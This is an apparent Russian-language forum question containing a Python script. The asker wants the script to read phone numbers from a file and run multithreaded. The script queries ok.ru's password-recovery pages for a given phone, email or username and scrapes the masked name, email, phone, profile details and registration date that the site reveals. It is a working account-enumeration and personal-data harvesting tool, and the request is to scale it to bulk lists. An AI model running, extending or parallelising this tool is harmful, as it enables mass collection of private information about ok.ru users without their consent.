сейчас вызывается так: python3 test.py 79246202039
а нужно python3 test.py numbers.txt
и как выставить количество потоков к этому test.py?
#!/usr/bin/env python3 import argparse import requests import sys #import re from bs4 import BeautifulSoup temp = sys.stdout sys.stdout=open("out.txt","a") sys.stdout.write(str() + '\n') OK_LOGIN_URL = \ 'https://www.ok.ru/dk?st.cmd=anonymMain&st.accRecovery=on&st.error=errors.password.wrong' OK_RECOVER_URL = \ 'https://www.ok.ru/dk?st.cmd=anonymRecoveryAfterFailedLogin&st._aid=LeftColumn_Login_ForgotPassword' #with open('1.txt') as infile: #for line in infile: #line.split('{login_data}') # def check_login(file_name):#file_name = input("79260000000") session = requests.Session() session.get(f'{OK_LOGIN_URL}&st.email={file_name}') request = session.get(OK_RECOVER_URL) root_soup = BeautifulSoup(request.content, 'html.parser') soup = root_soup.find('div', {'data-l': 'registrationContainer,offer_contact_rest'}) if soup: account_info = soup.find('div', {'class': 'ext-registration_tx taCenter'}) masked_email = soup.find('button', {'data-l': 't,email'}) masked_phone = soup.find('button', {'data-l': 't,phone'}) if masked_phone: masked_phone = masked_phone.find('div', {'class': 'ext-registration_stub_small_header'}).get_text() if masked_email: masked_email = masked_email.find('div', {'class': 'ext-registration_stub_small_header'}).get_text() if account_info: masked_name = account_info.find('div', {'class': 'ext-registration_username_header'}) if masked_name: masked_name = masked_name.get_text() account_info = account_info.findAll('div', {'class': 'lstp-t'}) if account_info: profile_info = account_info[0].get_text() profile_registred = account_info[1].get_text() else: profile_info = None profile_registred = None else: return None return { 'masked_name': masked_name, 'masked_email': masked_email, 'masked_phone': masked_phone, 'profile_info': profile_info, 'profile_registred': profile_registred, } if root_soup.find('div', {'data-l': 'registrationContainer,home_rest'}): return 'not associated' def console_output(file_name, parsed_response): if parsed_response: if parsed_response == 'not associated': print('{file_name}', "NONE", end="") else: print(f'{file_name}', end=' ') for key, value in parsed_response.items(): if value: #print(f'{key} - {value}') print(f'{value}', end=' ') else: print('No fault, but server return unknown response') def console_run(): arg_parser = argparse.ArgumentParser(description='Simple checker for ok.ru partial private data disclosure') arg_parser.add_argument('file_name', help='known credential to check (email / phone number / username)') args = arg_parser.parse_args() file_name = args.file_name response = check_login(file_name) console_output(file_name, response) if __name__ == '__main__': console_run() sys.stdout.close() sys.stdout = temp